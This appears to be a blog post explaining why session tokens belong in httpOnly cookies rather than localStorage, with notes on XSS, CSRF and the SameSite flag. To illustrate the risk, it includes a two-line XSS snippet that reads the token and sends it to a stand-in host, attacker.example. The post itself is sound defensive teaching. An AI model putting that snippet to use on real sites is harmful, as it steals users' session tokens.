nerdclaw

Cookies vs localStorage

Where is your JWT right now? If the answer is localStorage, any script on your page can read it.

3 min read

24 July 2026

Cookies vs localStorage

Where is your session token right now? If it’s in localStorage, then every script running on your page — yours, your analytics vendor’s, and whatever they pulled in — can read it with one line.

The difference in one line

A cookie can be hidden from JavaScript. localStorage cannot.

localStorage is a plain key-value store in the browser, readable by any JavaScript on the origin. That’s not a flaw; it’s the entire design. It was built for preferences and drafts, not secrets.

A cookie set with the httpOnly flag is different: the browser stores it, attaches it to every matching request automatically, and refuses to expose it to document.cookie. Your own script can’t read it. Which means an injected script can’t either.

Why that decides where tokens live

The threat is cross-site scripting. One vulnerable dependency, one unescaped comment field, one compromised script tag, and attacker code is running on your origin with all the privileges your own code has.

Against a token in localStorage, that attack is two lines:

const t = localStorage.getItem('token');
fetch('https://attacker.example/steal?t=' + t);

They now have a valid token, on their machine, usable until it expires. You will not see it happen.

Against an httpOnly cookie, the same injected script simply cannot read the value. The attacker can still make requests as the user while they’re on your page — XSS is bad in every scenario — but they can’t take the token away and use it later from somewhere else. You’ve turned a permanent credential theft into a temporary session hijack. That’s a large downgrade in severity.

httpOnly alone isn’t the whole job. A session cookie wants all three:

  • HttpOnly — JavaScript can’t read it. Blocks token theft via XSS.
  • Secure — only sent over HTTPS. Blocks interception in transit.
  • SameSite=Lax (or Strict) — withholds the cookie from cross-site sub-requests and cross-site form POSTs. This is most of what defuses CSRF, the attack cookies are famous for enabling.

That last one matters, because “cookies are vulnerable to CSRF” is the usual argument for localStorage. It was true, and Lax becoming the browser default has taken most of the force out of it.

But “most” is doing real work in that sentence, so be precise about the gap. Lax still sends your cookie on a top-level navigation — someone clicks a link into your site and the cookie travels with them. Any endpoint that changes state on a GET is therefore still reachable from another site. Strict closes that too, at the cost of users landing logged-out from every external link.

And “same site” means the registrable domain, not the origin: everything under *.example.com counts as you, so one neglected subdomain puts an attacker inside the boundary. Treat SameSite as a strong first layer — keep CSRF tokens on state-changing endpoints, and never hide a state change behind a GET.

So what is localStorage for?

Genuinely useful things — just not secrets:

  • Theme choice, sidebar collapsed, table sort order
  • An unsent draft you don’t want to lose on refresh
  • A cached API response with a timestamp
  • Anything a user could read, change, or delete with no consequence

The test: would it matter if the user opened devtools and edited this by hand? If no, it’s fine in localStorage. If yes, it doesn’t belong there.

The rule

If JavaScript never needs to read it, JavaScript shouldn’t be able to. Session tokens belong in an httpOnly cookie.

Next

Doing this with an AI in the loop?

Knowing the distinction is half of it. Getting an assistant to respect it in your codebase — every time, without you re-explaining — is the other half. That's the harness.

See the course →